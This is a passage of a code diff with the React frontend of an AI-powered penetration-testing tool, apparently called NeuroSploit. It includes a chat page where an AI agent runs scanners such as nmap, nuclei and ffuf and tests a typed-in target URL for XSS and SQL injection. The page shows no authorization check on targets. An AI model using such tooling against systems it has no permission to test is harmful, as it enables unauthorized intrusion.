onChange={(e) => setMaxDepth(parseInt(e.target.value))}
className="flex-1"
/>
<span className="text-white font-medium w-8">{maxDepth}</span>
</div>
</div>
</div>
)}
{!showAuthOptions && (
<p className="text-dark-500 text-sm">Click to expand advanced options</p>
)}
</Card>
{/* Warning for Prompt Only Mode */}
{operationMode === 'prompt_only' && (
<div className="bg-yellow-500/10 border border-yellow-500/30 rounded-lg p-4 flex items-start gap-3">
<AlertTriangle className="w-6 h-6 text-yellow-500 flex-shrink-0" />
<div>
<p className="font-medium text-yellow-400">High Token Usage Warning</p>
<p className="text-sm text-yellow-300/80 mt-1">
In AI Prompt Mode, the agent has full autonomy to decide what tools to use and what tests to run.
This results in significantly higher API token consumption. Consider using Full Auto mode for most use cases.
</p>
</div>
</div>
)}
{/* Start Button */}
<div className="flex justify-end gap-3 sticky bottom-4 bg-dark-950/90 backdrop-blur p-4 -mx-4 rounded-lg">
<Button variant="secondary" onClick={() => navigate('/')}>
Cancel
</Button>
<Button onClick={handleStartAgent} isLoading={isLoading} size="lg">
<Play className="w-5 h-5 mr-2" />
Deploy Agent ({currentModeInfo.name})
</Button>
</div>
</div>
)
}
+930
View File
@@ -0,0 +1,930 @@
import { useEffect, useState, useRef } from 'react'
import {
MessageSquare, Send, Target, Shield, Trash2,
RefreshCw, XCircle, Globe, Bot, ChevronDown, ChevronRight, Plus,
Terminal, Zap, Search, AlertCircle, CheckCircle2, FileText, Wrench,
ExternalLink, Code
} from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import { SeverityBadge } from '../components/common/Badge'
import { agentApi } from '../services/api'
import type { RealtimeSession, RealtimeMessage, RealtimeSessionSummary } from '../types'
const SEVERITY_ORDER: Record<string, number> = { critical: 0, high: 1, medium: 2, low: 3, info: 4 }
const SEVERITY_COLORS: Record<string, string> = {
critical: 'bg-red-500',
high: 'bg-orange-500',
medium: 'bg-yellow-500',
low: 'bg-blue-500',
info: 'bg-gray-500'
}
export default function RealtimeTaskPage() {
const messagesEndRef = useRef<HTMLDivElement>(null)
const inputRef = useRef<HTMLInputElement>(null)
// Session state
const [sessions, setSessions] = useState<RealtimeSessionSummary[]>([])
const [activeSession, setActiveSession] = useState<RealtimeSession | null>(null)
const [error, setError] = useState<string | null>(null)
// New session form
const [showNewSession, setShowNewSession] = useState(false)
const [newTarget, setNewTarget] = useState('')
const [newSessionName, setNewSessionName] = useState('')
const [isCreating, setIsCreating] = useState(false)
// Chat state
const [message, setMessage] = useState('')
const [isSending, setIsSending] = useState(false)
const [expandedFindings, setExpandedFindings] = useState<Set<number>>(new Set())
const [expandedMessages, setExpandedMessages] = useState<Set<number>>(new Set())
// LLM status
const [llmStatus, setLlmStatus] = useState<{
available: boolean
provider: string | null
error: string | null
} | null>(null)
// Tools state
const [showToolsModal, setShowToolsModal] = useState(false)
const [toolsStatus, setToolsStatus] = useState<{ available: boolean; docker_status: string } | null>(null)
const [executingTool, setExecutingTool] = useState<string | null>(null)
// Report state
const [generatingReport, setGeneratingReport] = useState(false)
// Message truncation config
const MESSAGE_MAX_LENGTH = 600
// Quick prompts for common tasks
const quickPrompts = [
{ label: 'Security Headers', prompt: 'Analyze security headers and identify misconfigurations', icon: '🛡️' },
{ label: 'Full Scan', prompt: 'Perform a comprehensive security assessment including headers, cookies, CORS, and endpoint discovery', icon: '🔍' },
{ label: 'XSS Test', prompt: 'Test for Cross-Site Scripting (XSS) vulnerabilities in all input fields', icon: '💉' },
{ label: 'SQL Injection', prompt: 'Check for SQL injection vulnerabilities in parameters and forms', icon: '🗃️' },
{ label: 'Directory Enum', prompt: 'Discover hidden directories, files, and endpoints using common wordlists', icon: '📁' },
{ label: 'Tech Stack', prompt: 'Detect technologies, frameworks, and versions used by this application', icon: '⚙️' },
]
// Tool categories with icons
const toolPrompts = [
{ tool: 'ffuf', label: 'FFUF', description: 'Fast web fuzzer', icon: '⚡' },
{ tool: 'feroxbuster', label: 'Feroxbuster', description: 'Directory brute-force', icon: '🦀' },
{ tool: 'nuclei', label: 'Nuclei', description: 'Vulnerability scanner', icon: '☢️' },
{ tool: 'nmap', label: 'Nmap', description: 'Port scanner', icon: '🔌' },
{ tool: 'nikto', label: 'Nikto', description: 'Web server scanner', icon: '🕷️' },
{ tool: 'httpx', label: 'HTTPX', description: 'HTTP toolkit', icon: '🌐' },
]
// Load sessions and check status on mount
useEffect(() => {
loadSessions()
checkLlmStatus()
loadToolsInfo()
}, [])
const checkLlmStatus = async () => {
try {
const status = await agentApi.realtime.getLlmStatus()
setLlmStatus({
available: status.available,
provider: status.provider,
error: status.error
})
} catch (err) {
console.error('Failed to check LLM status:', err)
setLlmStatus({
available: false,
provider: null,
error: 'Failed to connect to backend'
})
}
}
const loadToolsInfo = async () => {
try {
const status = await agentApi.realtime.getToolsStatus()
setToolsStatus(status)
} catch (err) {
console.error('Failed to load tools info:', err)
}
}
// Auto-scroll to bottom when messages change
useEffect(() => {
messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' })
}, [activeSession?.messages])
const loadSessions = async () => {
try {
const data = await agentApi.realtime.listSessions()
setSessions(data.sessions || [])
} catch (err) {
console.error('Failed to load sessions:', err)
}
}
const createSession = async () => {
if (!newTarget.trim()) return
setIsCreating(true)
setError(null)
try {
const result = await agentApi.realtime.createSession(newTarget, newSessionName || undefined)
await loadSessions()
await loadSession(result.session_id)
setShowNewSession(false)
setNewTarget('')
setNewSessionName('')
} catch (err: any) {
setError(err.response?.data?.detail || 'Failed to create session')
} finally {
setIsCreating(false)
}
}
const loadSession = async (sessionId: string) => {
setError(null)
try {
const data = await agentApi.realtime.getSession(sessionId)
setActiveSession(data)
} catch (err: any) {
setError(err.response?.data?.detail || 'Failed to load session')
}
}
const sendMessage = async (prompt?: string) => {
const messageToSend = prompt || message
if (!messageToSend.trim() || !activeSession) return
setIsSending(true)
setMessage('')
// Optimistically add user message
const userMessage: RealtimeMessage = {
role: 'user',
content: messageToSend,
timestamp: new Date().toISOString()
}
setActiveSession(prev => prev ? {
...prev,
messages: [...prev.messages, userMessage]
} : null)
try {
const result = await agentApi.realtime.sendMessage(activeSession.session_id, messageToSend)
// Add assistant response
const assistantMessage: RealtimeMessage = {
role: 'assistant',
content: result.response,
timestamp: new Date().toISOString(),
metadata: { tests_executed: result.tests_executed }
}
setActiveSession(prev => prev ? {
...prev,
messages: [...prev.messages, assistantMessage],
findings: result.findings || prev.findings
} : null)
// Focus input for next message
inputRef.current?.focus()
} catch (err: any) {
// Add error message
const errorMessage: RealtimeMessage = {
role: 'assistant',
content: `Error: ${err.response?.data?.detail || err.message || 'Failed to send message'}`,
timestamp: new Date().toISOString(),
metadata: { error: true }
}
setActiveSession(prev => prev ? {
...prev,
messages: [...prev.messages, errorMessage]
} : null)
} finally {
setIsSending(false)
}
}
const executeTool = async (toolId: string) => {
if (!activeSession) return
setExecutingTool(toolId)
setShowToolsModal(false)
// Add user message about tool execution
const userMessage: RealtimeMessage = {
role: 'user',
content: `Execute ${toolId} scan on target`,
timestamp: new Date().toISOString()
}
setActiveSession(prev => prev ? {
...prev,
messages: [...prev.messages, userMessage]
} : null)
try {
await agentApi.realtime.executeTool(activeSession.session_id, toolId)
// Reload session to get updated messages and findings
await loadSession(activeSession.session_id)
} catch (err: any) {
const errorMessage: RealtimeMessage = {
role: 'assistant',
content: `Tool execution failed: ${err.response?.data?.detail || err.message}`,
timestamp: new Date().toISOString(),
metadata: { error: true }
}
setActiveSession(prev => prev ? {
...prev,
messages: [...prev.messages, errorMessage]
} : null)
} finally {
setExecutingTool(null)
}
}
const deleteSession = async (sessionId: string) => {
if (!confirm('Delete this session?')) return
try {
await agentApi.realtime.deleteSession(sessionId)
if (activeSession?.session_id === sessionId) {
setActiveSession(null)
}
await loadSessions()
} catch (err) {
console.error('Failed to delete session:', err)
}
}
const downloadReportHtml = async () => {
if (!activeSession) return
setGeneratingReport(true)
try {
const htmlContent = await agentApi.realtime.getReportHtml(activeSession.session_id)
// Open in new tab
const newWindow = window.open('', '_blank')
if (newWindow) {
newWindow.document.write(htmlContent)
newWindow.document.close()
}
} catch (err) {
console.error('Failed to generate HTML report:', err)
} finally {
setGeneratingReport(false)
}
}
const downloadReportJson = async () => {
if (!activeSession) return
try {
const report = await agentApi.realtime.getReport(activeSession.session_id)
const blob = new Blob([JSON.stringify(report, null, 2)], { type: 'application/json' })
const url = URL.createObjectURL(blob)
const a = document.createElement('a')
a.href = url
a.download = `report-${activeSession.session_id}-${new Date().toISOString().split('T')[0]}.json`
a.click()
URL.revokeObjectURL(url)
} catch (err) {
console.error('Failed to generate report:', err)
}
}
const toggleFinding = (index: number) => {
const newExpanded = new Set(expandedFindings)
if (newExpanded.has(index)) {
newExpanded.delete(index)
} else {
newExpanded.add(index)
}
setExpandedFindings(newExpanded)
}
const toggleMessage = (index: number) => {
const newExpanded = new Set(expandedMessages)
if (newExpanded.has(index)) {
newExpanded.delete(index)
} else {
newExpanded.add(index)
}
setExpandedMessages(newExpanded)
}
const renderMessage = (msg: RealtimeMessage, index: number) => {
const isUser = msg.role === 'user'
const isError = msg.metadata?.error
const isApiError = msg.metadata?.api_error
const isToolExecution = msg.metadata?.tool_execution
const isExpanded = expandedMessages.has(index)
const shouldTruncate = !isUser && msg.content.length > MESSAGE_MAX_LENGTH && !isExpanded
const displayContent = shouldTruncate
? msg.content.substring(0, MESSAGE_MAX_LENGTH) + '...'
: msg.content
return (
<div
key={index}
className={`flex ${isUser ? 'justify-end' : 'justify-start'} animate-fadeIn`}
>
<div
className={`max-w-[85%] rounded-xl px-4 py-3 shadow-lg overflow-hidden ${
isUser
? 'bg-gradient-to-r from-primary-600 to-primary-500 text-white'
: isError || isApiError
? 'bg-red-500/10 border border-red-500/30 text-red-300'
: isToolExecution
? 'bg-purple-500/10 border border-purple-500/30 text-purple-200'
: 'bg-dark-800/80 border border-dark-700 text-dark-200'
}`}
>
{!isUser && (
<div className="flex items-center gap-2 mb-2 text-xs text-dark-400">
{isToolExecution ? (
<Wrench className="w-3 h-3 text-purple-400" />
) : (
<Bot className="w-3 h-3" />
)}
<span>{isToolExecution ? 'Tool Execution' : 'NeuroSploit AI'}</span>
{isApiError && (
<span className="bg-red-500/20 text-red-400 px-1.5 py-0.5 rounded text-[10px]">
API Error
</span>
)}
{msg.metadata?.tests_executed && (
<span className="bg-green-500/20 text-green-400 px-1.5 py-0.5 rounded text-[10px]">
Tests Executed
</span>
)}
{msg.metadata?.new_findings && msg.metadata.new_findings > 0 && (
<span className="bg-orange-500/20 text-orange-400 px-1.5 py-0.5 rounded text-[10px]">
+{msg.metadata.new_findings} findings
</span>
)}
</div>
)}
<div className="whitespace-pre-wrap text-sm leading-relaxed prose prose-invert prose-sm max-w-none break-words overflow-x-auto">
{displayContent}
</div>
{!isUser && msg.content.length > MESSAGE_MAX_LENGTH && (
<button
onClick={() => toggleMessage(index)}
className="mt-3 text-xs text-primary-400 hover:text-primary-300 transition-colors flex items-center gap-1 font-medium"
>
{isExpanded ? (
<>
<ChevronDown className="w-3 h-3" />
Show less
</>
) : (
<>
<ChevronRight className="w-3 h-3" />
Show more ({Math.ceil((msg.content.length - MESSAGE_MAX_LENGTH) / 100) * 100}+ chars)
</>
)}
</button>
)}
<div className={`text-[10px] mt-2 ${isUser ? 'text-primary-200' : 'text-dark-500'}`}>
{new Date(msg.timestamp).toLocaleTimeString()}
</div>
</div>
</div>
)
}
const sortedFindings = activeSession?.findings
? [...activeSession.findings].sort((a, b) =>
(SEVERITY_ORDER[a.severity] || 4) - (SEVERITY_ORDER[b.severity] || 4)
)
: []
// Calculate severity stats
const severityStats = sortedFindings.reduce((acc, f) => {
const sev = f.severity?.toLowerCase() || 'info'
acc[sev] = (acc[sev] || 0) + 1
return acc
}, {} as Record<string, number>)
return (
<div className="space-y-6 animate-fadeIn">
{/* Header */}
<div className="flex items-center justify-between flex-wrap gap-4">
<div>
<h2 className="text-2xl font-bold text-white flex items-center gap-3">
<Zap className="w-7 h-7 text-yellow-500" />
Real-time Task
</h2>
<p className="text-dark-400 mt-1">
Interactive AI-powered security testing with real tool execution
</p>
</div>
<div className="flex items-center gap-3 flex-wrap">
{/* LLM Status Indicator */}
{llmStatus && (
<div
className={`flex items-center gap-2 px-3 py-1.5 rounded-lg text-xs cursor-help ${
llmStatus.available
? 'bg-green-500/20 text-green-400 border border-green-500/30'
: 'bg-red-500/20 text-red-400 border border-red-500/30'
}`}
title={llmStatus.error || `Connected to ${llmStatus.provider}`}
>
{llmStatus.available ? (
<>
<CheckCircle2 className="w-3.5 h-3.5" />
<span className="font-medium">{llmStatus.provider?.toUpperCase()}</span>
</>
) : (
<>
<AlertCircle className="w-3.5 h-3.5" />
<span>No AI</span>
</>
)}
</div>
)}
{/* Docker Status */}
{toolsStatus && (
<div
className={`flex items-center gap-2 px-3 py-1.5 rounded-lg text-xs cursor-help ${
toolsStatus.available
? 'bg-blue-500/20 text-blue-400 border border-blue-500/30'
: 'bg-dark-700 text-dark-400 border border-dark-600'
}`}
title={toolsStatus.available ? 'Docker tools ready' : 'Docker not available'}
>
<Terminal className="w-3.5 h-3.5" />
<span>{toolsStatus.available ? 'Tools Ready' : 'No Docker'}</span>
</div>
)}
<Button onClick={() => setShowNewSession(true)}>
<Plus className="w-4 h-4 mr-2" />
New Session
</Button>
</div>
</div>
{/* New Session Modal */}
{showNewSession && (
<div className="fixed inset-0 bg-black/60 backdrop-blur-sm flex items-center justify-center z-50">
<Card className="w-full max-w-md mx-4 shadow-2xl">
<h3 className="text-lg font-semibold text-white mb-4 flex items-center gap-2">
<Target className="w-5 h-5 text-primary-500" />
Create New Session
</h3>
<div className="space-y-4">
<div>
<label className="block text-sm text-dark-300 mb-1">Target URL *</label>
<input
type="text"
value={newTarget}
onChange={(e) => setNewTarget(e.target.value)}
placeholder="https://example.com"
className="w-full bg-dark-800 border border-dark-600 rounded-lg px-4 py-2.5 text-white placeholder-dark-400 focus:outline-none focus:border-primary-500 focus:ring-1 focus:ring-primary-500"
autoFocus
/>
</div>
<div>
<label className="block text-sm text-dark-300 mb-1">Session Name (optional)</label>
<input
type="text"
value={newSessionName}
onChange={(e) => setNewSessionName(e.target.value)}
placeholder="My Security Test"
className="w-full bg-dark-800 border border-dark-600 rounded-lg px-4 py-2.5 text-white placeholder-dark-400 focus:outline-none focus:border-primary-500 focus:ring-1 focus:ring-primary-500"
/>
</div>
{error && (
<div className="text-red-400 text-sm flex items-center gap-2 bg-red-500/10 p-3 rounded-lg">
<XCircle className="w-4 h-4 flex-shrink-0" />
{error}
</div>
)}
<div className="flex justify-end gap-2 pt-2">
<Button variant="secondary" onClick={() => setShowNewSession(false)}>
Cancel
</Button>
<Button onClick={createSession} isLoading={isCreating} disabled={!newTarget.trim()}>
Create Session
</Button>
</div>
</div>
</Card>
</div>
)}
{/* Tools Modal */}
{showToolsModal && activeSession && (
<div className="fixed inset-0 bg-black/60 backdrop-blur-sm flex items-center justify-center z-50">
<Card className="w-full max-w-2xl mx-4 shadow-2xl">
<div className="flex items-center justify-between mb-4">
<h3 className="text-lg font-semibold text-white flex items-center gap-2">
<Wrench className="w-5 h-5 text-purple-500" />
Execute Security Tool
</h3>
<button onClick={() => setShowToolsModal(false)} className="text-dark-400 hover:text-white">
<XCircle className="w-5 h-5" />
</button>
</div>
<p className="text-dark-400 text-sm mb-4">
Target: <span className="text-white font-mono">{activeSession.target}</span>
</p>
<div className="grid grid-cols-2 sm:grid-cols-3 gap-3">
{toolPrompts.map((tool) => (
<button
key={tool.tool}
onClick={() => executeTool(tool.tool)}
disabled={executingTool !== null || !toolsStatus?.available}
className="p-4 bg-dark-800 hover:bg-dark-700 border border-dark-600 hover:border-purple-500/50 rounded-xl transition-all text-left disabled:opacity-50 disabled:cursor-not-allowed group"
>
<div className="text-2xl mb-2">{tool.icon}</div>
<div className="font-medium text-white group-hover:text-purple-400 transition-colors">
{tool.label}
</div>
<div className="text-xs text-dark-400 mt-1">{tool.description}</div>
</button>
))}
</div>
{!toolsStatus?.available && (
<div className="mt-4 p-3 bg-yellow-500/10 border border-yellow-500/30 rounded-lg text-yellow-400 text-sm">
<AlertCircle className="w-4 h-4 inline mr-2" />
Docker is not available. Tools require Docker to be running.
</div>
)}
</Card>
</div>
)}
<div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
{/* Sessions List */}
<div className="lg:col-span-1">
<Card title="Sessions" className="h-fit">
<div className="space-y-2 max-h-[400px] overflow-y-auto">
{sessions.length === 0 ? (
<p className="text-dark-400 text-sm text-center py-4">
No sessions yet. Create one to start testing.
</p>
) : (
sessions.map((s) => (
<div
key={s.session_id}
className={`p-3 rounded-xl cursor-pointer transition-all ${
activeSession?.session_id === s.session_id
? 'bg-primary-500/20 border border-primary-500/50 shadow-lg shadow-primary-500/10'
: 'bg-dark-800/50 hover:bg-dark-800 border border-transparent hover:border-dark-600'
}`}
onClick={() => loadSession(s.session_id)}
>
<div className="flex items-center justify-between">
<div className="flex-1 min-w-0">
<p className="text-white font-medium truncate text-sm">{s.name}</p>
<p className="text-dark-400 text-xs truncate flex items-center gap-1 mt-0.5">
<Globe className="w-3 h-3" />
{s.target}
</p>
</div>
<button
onClick={(e) => {
e.stopPropagation()
deleteSession(s.session_id)
}}
className="p-1.5 text-dark-500 hover:text-red-400 hover:bg-red-500/10 rounded-lg transition-colors"
>
<Trash2 className="w-4 h-4" />
</button>
</div>
<div className="flex items-center gap-2 mt-2 text-xs">
<span className="text-dark-400">{s.messages_count} msgs</span>
{s.findings_count > 0 && (
<span className="bg-red-500/20 text-red-400 px-2 py-0.5 rounded-full font-medium">
{s.findings_count} findings
</span>
)}
</div>
</div>
))
)}
</div>
</Card>
</div>
{/* Chat Area */}
<div className="lg:col-span-2">
{activeSession ? (
<Card className="flex flex-col h-[calc(100vh-220px)]">
{/* Session Header */}
<div className="flex items-center justify-between pb-4 border-b border-dark-700">
<div className="flex-1 min-w-0">
<h3 className="text-white font-medium flex items-center gap-2">
<Target className="w-4 h-4 text-primary-500 flex-shrink-0" />
<span className="truncate">{activeSession.name}</span>
</h3>
<p className="text-dark-400 text-sm truncate">{activeSession.target}</p>
</div>
<div className="flex items-center gap-2 flex-shrink-0">
<Button
variant="secondary"
size="sm"
onClick={() => setShowToolsModal(true)}
disabled={executingTool !== null}
>
<Wrench className="w-4 h-4 mr-1" />
Tools
</Button>
<div className="relative group">
<Button
variant="secondary"
size="sm"
onClick={downloadReportHtml}
isLoading={generatingReport}
>
<FileText className="w-4 h-4 mr-1" />
Report
</Button>
{/* Dropdown for report options */}
<div className="absolute right-0 mt-1 w-40 bg-dark-800 border border-dark-600 rounded-lg shadow-xl opacity-0 invisible group-hover:opacity-100 group-hover:visible transition-all z-10">
<button
onClick={downloadReportHtml}
className="w-full px-3 py-2 text-left text-sm text-dark-300 hover:bg-dark-700 hover:text-white rounded-t-lg flex items-center gap-2"
>
<ExternalLink className="w-3 h-3" />
Open HTML Report
</button>
<button
onClick={downloadReportJson}
className="w-full px-3 py-2 text-left text-sm text-dark-300 hover:bg-dark-700 hover:text-white rounded-b-lg flex items-center gap-2"
>
<Code className="w-3 h-3" />
Download JSON
</button>
</div>
</div>
</div>
</div>
{/* Messages */}
<div className="flex-1 overflow-y-auto py-4 space-y-4 scroll-smooth">
{activeSession.messages.length === 0 ? (
<div className="text-center py-12">
<MessageSquare className="w-12 h-12 text-dark-600 mx-auto mb-3" />
<p className="text-dark-400">
Start by typing a security testing instruction or use a quick prompt
</p>
</div>
) : (
activeSession.messages.map((msg, i) => renderMessage(msg, i))
)}
{(isSending || executingTool) && (
<div className="flex justify-start">
<div className="bg-dark-800 border border-dark-700 rounded-xl px-4 py-3 flex items-center gap-3 text-dark-400">
<RefreshCw className="w-4 h-4 animate-spin text-primary-500" />
<span>{executingTool ? `Running ${executingTool}...` : 'Analyzing and testing...'}</span>
</div>
</div>
)}
<div ref={messagesEndRef} />
</div>
{/* Quick Prompts */}
<div className="flex flex-wrap gap-2 py-3 border-t border-dark-700">
{quickPrompts.map((qp, i) => (
<button
key={i}
onClick={() => sendMessage(qp.prompt)}
disabled={isSending || executingTool !== null}
className="px-3 py-1.5 text-xs bg-dark-800 hover:bg-dark-700 text-dark-300 hover:text-white rounded-full transition-all disabled:opacity-50 flex items-center gap-1.5 border border-dark-700 hover:border-dark-600"
>
<span>{qp.icon}</span>
{qp.label}
</button>
))}
</div>
{/* Input */}
<div className="flex gap-2 pt-2">
<input
ref={inputRef}
type="text"
value={message}
onChange={(e) => setMessage(e.target.value)}
onKeyDown={(e) => e.key === 'Enter' && !e.shiftKey && sendMessage()}
placeholder="Type your security testing instruction..."
disabled={isSending || executingTool !== null}
className="flex-1 bg-dark-800 border border-dark-600 rounded-xl px-4 py-3 text-white placeholder-dark-400 focus:outline-none focus:border-primary-500 focus:ring-1 focus:ring-primary-500 disabled:opacity-50"
/>
<Button
onClick={() => sendMessage()}
isLoading={isSending}
disabled={!message.trim() || executingTool !== null}
className="px-4"
>
<Send className="w-4 h-4" />
</Button>
</div>
</Card>
) : (
<Card className="flex flex-col items-center justify-center h-[calc(100vh-220px)]">
<div className="text-center">
<div className="w-20 h-20 bg-gradient-to-br from-primary-500/20 to-purple-500/20 rounded-2xl flex items-center justify-center mx-auto mb-6">
<Terminal className="w-10 h-10 text-primary-400" />
</div>
<h3 className="text-white text-lg font-medium mb-2">No Session Selected</h3>
<p className="text-dark-400 text-center mb-6 max-w-sm">
Select a session from the list or create a new one to start interactive security testing
</p>
<Button onClick={() => setShowNewSession(true)} className="mx-auto">
<Plus className="w-4 h-4 mr-2" />
Create New Session
</Button>
</div>
</Card>
)}
</div>
{/* Findings Panel */}
<div className="lg:col-span-1 space-y-4">
{/* Severity Summary */}
{sortedFindings.length > 0 && (
<Card className="!p-3">
<div className="flex items-center gap-2 flex-wrap">
{['critical', 'high', 'medium', 'low', 'info'].map(sev => {
const count = severityStats[sev] || 0
if (count === 0) return null
return (
<div
key={sev}
className={`px-2 py-1 rounded-lg text-xs font-medium flex items-center gap-1 ${
sev === 'critical' ? 'bg-red-500/20 text-red-400' :
sev === 'high' ? 'bg-orange-500/20 text-orange-400' :
sev === 'medium' ? 'bg-yellow-500/20 text-yellow-400' :
sev === 'low' ? 'bg-blue-500/20 text-blue-400' :
'bg-gray-500/20 text-gray-400'
}`}
>
<span className={`w-2 h-2 rounded-full ${SEVERITY_COLORS[sev]}`} />
{count} {sev}
</div>
)
})}
</div>
</Card>
)}
<Card
title={
<div className="flex items-center gap-2">
<Shield className="w-4 h-4 text-red-400" />
<span>Findings</span>
{sortedFindings.length > 0 && (
<span className="bg-red-500/20 text-red-400 text-xs px-2 py-0.5 rounded-full font-medium">
{sortedFindings.length}
</span>
)}
</div>
}
className="h-fit max-h-[calc(100vh-320px)] overflow-y-auto"
>
{sortedFindings.length === 0 ? (
<div className="text-center py-8">
<Search className="w-8 h-8 text-dark-600 mx-auto mb-2" />
<p className="text-dark-400 text-sm">
No findings yet. Send a testing instruction to discover vulnerabilities.
</p>
</div>
) : (
<div className="space-y-2">
{sortedFindings.map((finding, i) => (
<div
key={i}
className="bg-dark-900/50 rounded-xl border border-dark-700 overflow-hidden hover:border-dark-600 transition-colors"
>
<div
className="p-3 cursor-pointer hover:bg-dark-800/50 transition-colors"
onClick={() => toggleFinding(i)}
>
<div className="flex items-start justify-between gap-2">
<div className="flex items-start gap-2 flex-1 min-w-0">
{expandedFindings.has(i) ? (
<ChevronDown className="w-4 h-4 mt-0.5 text-dark-400 flex-shrink-0" />
) : (
<ChevronRight className="w-4 h-4 mt-0.5 text-dark-400 flex-shrink-0" />
)}
<div className="flex-1 min-w-0">
<p className="text-sm font-medium text-white truncate">{finding.title}</p>
<div className="flex items-center gap-2 mt-0.5">
<p className="text-xs text-dark-400 truncate flex-1">{finding.affected_endpoint}</p>
{finding.cvss_score && (
<span className={`text-[10px] font-bold px-1.5 py-0.5 rounded ${
finding.cvss_score >= 9.0 ? 'bg-red-500/20 text-red-400' :
finding.cvss_score >= 7.0 ? 'bg-orange-500/20 text-orange-400' :
finding.cvss_score >= 4.0 ? 'bg-yellow-500/20 text-yellow-400' :
'bg-blue-500/20 text-blue-400'
}`}>
{finding.cvss_score}
</span>
)}
</div>
</div>
</div>
<SeverityBadge severity={finding.severity} />
</div>
</div>
{expandedFindings.has(i) && (
<div className="px-3 pb-3 pt-0 space-y-3 border-t border-dark-700 overflow-hidden">
{/* CVSS/CWE/OWASP badges */}
{(finding.cvss_score || finding.cwe_id || finding.owasp) && (
<div className="mt-3 flex flex-wrap gap-2">
{finding.cvss_score && (
<div className="bg-dark-800 px-2 py-1 rounded text-xs">
<span className="text-dark-500">CVSS:</span>{' '}
<span className={`font-bold ${
finding.cvss_score >= 9.0 ? 'text-red-400' :
finding.cvss_score >= 7.0 ? 'text-orange-400' :
finding.cvss_score >= 4.0 ? 'text-yellow-400' :
'text-blue-400'
}`}>{finding.cvss_score}</span>
</div>
)}
{finding.cwe_id && (
<div className="bg-dark-800 px-2 py-1 rounded text-xs">
<span className="text-dark-500">CWE:</span>{' '}
<span className="text-blue-400">{finding.cwe_id}</span>
</div>
)}
{finding.owasp && (
<div className="bg-dark-800 px-2 py-1 rounded text-xs">
<span className="text-dark-500">OWASP:</span>{' '}
<span className="text-yellow-400 truncate">{finding.owasp.split(' - ')[0]}</span>
</div>
)}
</div>
)}
<div className="mt-3">
<p className="text-[10px] text-dark-500 uppercase tracking-wider font-medium">Type</p>
<p className="text-sm text-dark-300 break-words">{finding.vulnerability_type}</p>
</div>
<div>
<p className="text-[10px] text-dark-500 uppercase tracking-wider font-medium">Description</p>
<p className="text-sm text-dark-300 break-words">{finding.description}</p>
</div>
{finding.evidence && (
<div>
<p className="text-[10px] text-dark-500 uppercase tracking-wider font-medium">Evidence</p>
<p className="text-sm text-dark-300 font-mono bg-dark-800 p-2 rounded-lg text-xs overflow-x-auto break-all max-h-32 overflow-y-auto">
{finding.evidence}
</p>
</div>
)}
<div>
<p className="text-[10px] text-dark-500 uppercase tracking-wider font-medium">Remediation</p>
<p className="text-sm text-green-400 break-words">{finding.remediation}</p>
</div>
</div>
)}
</div>
))}
</div>
)}
</Card>
{/* Technologies Detected */}
{activeSession && activeSession.recon_data?.technologies && activeSession.recon_data.technologies.length > 0 && (
<Card title="Technologies" className="!p-4">
<div className="flex flex-wrap gap-2">
{activeSession.recon_data.technologies.map((tech, i) => (
<span
key={i}
className="px-2.5 py-1 text-xs bg-dark-800 text-dark-300 rounded-lg border border-dark-700"
>
{tech}
</span>
))}
</div>
</Card>
)}
</div>
</div>
</div>
)
}
+68
View File
@@ -0,0 +1,68 @@
import { useEffect, useState } from 'react'
import { useParams, useNavigate } from 'react-router-dom'
import { ArrowLeft, Download, ExternalLink } from 'lucide-react'
import Button from '../components/common/Button'
import { reportsApi } from '../services/api'
export default function ReportViewPage() {
const { reportId } = useParams<{ reportId: string }>()
const navigate = useNavigate()
const [isLoading, setIsLoading] = useState(true)
useEffect(() => {
if (!reportId) {
navigate('/reports')
return
}
setIsLoading(false)
}, [reportId])
if (isLoading || !reportId) {
return (
<div className="flex items-center justify-center h-64">
<div className="animate-spin w-8 h-8 border-2 border-primary-500 border-t-transparent rounded-full" />
</div>
)
}
return (
<div className="space-y-4 animate-fadeIn">
<div className="flex items-center justify-between">
<Button variant="ghost" onClick={() => navigate('/reports')}>
<ArrowLeft className="w-4 h-4 mr-2" />
Back to Reports
</Button>
<div className="flex gap-2">
<Button
variant="secondary"
onClick={() => window.open(reportsApi.getDownloadUrl(reportId, 'html'), '_blank')}
>
<Download className="w-4 h-4 mr-2" />
Download HTML
</Button>
<Button
variant="secondary"
onClick={() => window.open(reportsApi.getDownloadUrl(reportId, 'json'), '_blank')}
>
<Download className="w-4 h-4 mr-2" />
Download JSON
</Button>
<Button
onClick={() => window.open(reportsApi.getViewUrl(reportId), '_blank')}
>
<ExternalLink className="w-4 h-4 mr-2" />
Open in New Tab
</Button>
</div>
</div>
<div className="bg-dark-800 rounded-xl overflow-hidden border border-dark-900/50">
<iframe
src={reportsApi.getViewUrl(reportId)}
className="w-full h-[calc(100vh-200px)]"
title="Report"
/>
</div>
</div>
)
}
+148
View File
@@ -0,0 +1,148 @@
import { useEffect, useState } from 'react'
import { Link } from 'react-router-dom'
import { FileText, Download, Eye, Trash2, Calendar } from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import { reportsApi, scansApi } from '../services/api'
import type { Report, Scan } from '../types'
export default function ReportsPage() {
const [reports, setReports] = useState<Report[]>([])
const [scans, setScans] = useState<Map<string, Scan>>(new Map())
const [isLoading, setIsLoading] = useState(true)
useEffect(() => {
const fetchData = async () => {
try {
const [reportsData, scansData] = await Promise.all([
reportsApi.list(),
scansApi.list(1, 100)
])
setReports(reportsData.reports)
const scansMap = new Map<string, Scan>()
scansData.scans.forEach((scan: Scan) => scansMap.set(scan.id, scan))
setScans(scansMap)
} catch (error) {
console.error('Failed to fetch reports:', error)
} finally {
setIsLoading(false)
}
}
fetchData()
}, [])
const handleDelete = async (reportId: string) => {
if (!confirm('Are you sure you want to delete this report?')) return
try {
await reportsApi.delete(reportId)
setReports(reports.filter((r) => r.id !== reportId))
} catch (error) {
console.error('Failed to delete report:', error)
}
}
const handleDownload = (reportId: string, format: string) => {
window.open(reportsApi.getDownloadUrl(reportId, format), '_blank')
}
if (isLoading) {
return (
<div className="flex items-center justify-center h-64">
<div className="animate-spin w-8 h-8 border-2 border-primary-500 border-t-transparent rounded-full" />
</div>
)
}
return (
<div className="space-y-6 animate-fadeIn">
<div className="flex items-center justify-between">
<div>
<h2 className="text-2xl font-bold text-white">Reports</h2>
